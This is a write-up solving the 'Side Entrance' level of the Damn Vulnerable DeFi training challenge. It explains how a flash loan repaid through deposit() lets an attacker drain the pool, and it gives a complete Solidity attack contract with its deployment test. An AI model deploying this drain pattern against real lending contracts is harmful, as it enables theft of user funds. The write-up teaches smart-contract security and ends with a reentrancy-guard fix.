Damn Vulnerable DeFi | 4 - Side Entrance
A Deep Dive into the Side Entrance Challenge: Mastering the Mechanics of Flash Loans
Table of contents
Goals
In the Side Entrance challenge, we have to steal all the ETH from the pool. Flashloans are free, and we start with 1 ETH.
The Contracts
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "solady/src/utils/SafeTransferLib.sol";
interface IFlashLoanEtherReceiver {
function execute() external payable;
}
/**
* @title SideEntranceLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract SideEntranceLenderPool {
mapping(address => uint256) private balances;
error RepayFailed();
event Deposit(address indexed who, uint256 amount);
event Withdraw(address indexed who, uint256 amount);
function deposit() external payable {
unchecked {
balances[msg.sender] += msg.value;
}
emit Deposit(msg.sender, msg.value);
}
function withdraw() external {
uint256 amount = balances[msg.sender];
delete balances[msg.sender];
emit Withdraw(msg.sender, amount);
SafeTransferLib.safeTransferETH(msg.sender, amount);
}
function flashLoan(uint256 amount) external {
uint256 balanceBefore = address(this).balance;
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
if (address(this).balance < balanceBefore)
revert RepayFailed();
}
}
Ok, another flash loan pool to hack here. The SideEntranceLenderPool
contract is fairly short with only 3 functions: deposit()
, withdraw()
, and flashloan()
.
The contract inherits the SafeTransferLib
from Solady.
The Hack
This is a funny one, nothing complicated, no need to craft complex calldata and play with memory pointers, it is all about visualizing each step and the money flow.
Let's detail the 3 functions that we have at our disposal.
The deposit()
function is pretty straightforward, it increases the balance of msg.sender
by msg.value
and emits an event.
function deposit() external payable {
unchecked {
balances[msg.sender] += msg.value;
}
emit Deposit(msg.sender, msg.value);
}
Unsurprisingly, the withdraw()
function works the way around, sending back the whole balance to msg.sender
. The CEI is respected, the transfer is made via the safeTransferETH()
function, and an event is emitted. Looks pretty solid.
function withdraw() external {
uint256 amount = balances[msg.sender];
delete balances[msg.sender];
emit Withdraw(msg.sender, amount);
SafeTransferLib.safeTransferETH(msg.sender, amount);
}
Last one, the flashloan()
function which allows us to borrow an arbitrary amount from the pool:
function flashLoan(uint256 amount) external {
uint256 balanceBefore = address(this).balance;
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
if (address(this).balance < balanceBefore)
revert RepayFailed();
}
The balance before is checked, and compared with the balance after. It is calling the execute()
function as a callback to the flash loan receiver.
So, have you found the exploit yet?
Let's say that we request a flashloan for the total amount of ether in the pool. What could we do next? How could we drain this pool?
We will have to repay the loan somehow, because of the following check: if (address(this).balance < balanceBefore) revert RepayFailed()
. But this check simply makes sure the contract's balance is equal to the contract's balance before the loan. What if we use the execute()
callback to deposit the whole amount back via the deposit()
function?
The RepayFailed()
won't be triggered since the ETH will effectively be back to the contract. However, our balance will now be equal to the pool's balance! So after repaying the flashloan, we will just have to use the withdraw()
function to get rich!
Solution
Let's implement the Side Entrance solution accordingly. We can craft a contract that will handle the logic as follows:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
interface IPool {
function deposit() external payable;
function withdraw() external;
function flashLoan(uint256 amount) external;
}
contract Attack4 {
IPool private immutable pool;
address private immutable player;
constructor(address _pool, address _player) {
pool = IPool(_pool);
player = _player;
}
receive() external payable {}
function attack() external {
pool.flashLoan(address(pool).balance);
pool.withdraw();
(bool success, ) = player.call{value: address(this).balance}("");
require(success, "Eth transfer failed");
}
function execute() external payable {
pool.deposit{value: msg.value}();
}
}
When the SideEntranceLenderPool
will call the execute()
function in our malicious contract, it will call the deposit()
function back with the whole loan amount and complete the flashloan.
Next, we have to edit the side-entrance.challenge.js
page so it will deploy our contract and launch the attack:
it("Execution", async function () {
/** CODE YOUR SOLUTION HERE */
const Attack4 = await ethers.getContractFactory("Attack4", deployer);
const attack4 = await Attack4.deploy(pool.address, player.address);
await attack4.attack();
});
Finally, we can run the test with the following command:
yarn side-entrance
And we get the following printed in the terminal:
Congrats! You just beat the level 4 - Side Entrance - of Damn Vulnerable DeFi.
๐ Level completed ๐
Takeaway
Making your contract work is not enough. It is crucial to look and account for all edge cases.
The
nonReentrant()
modifier could have been used on all 3 functions to prevent any kind of reentrancy. Better safe than sorry!
You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Damn-Vulnerable-Defi-Solutions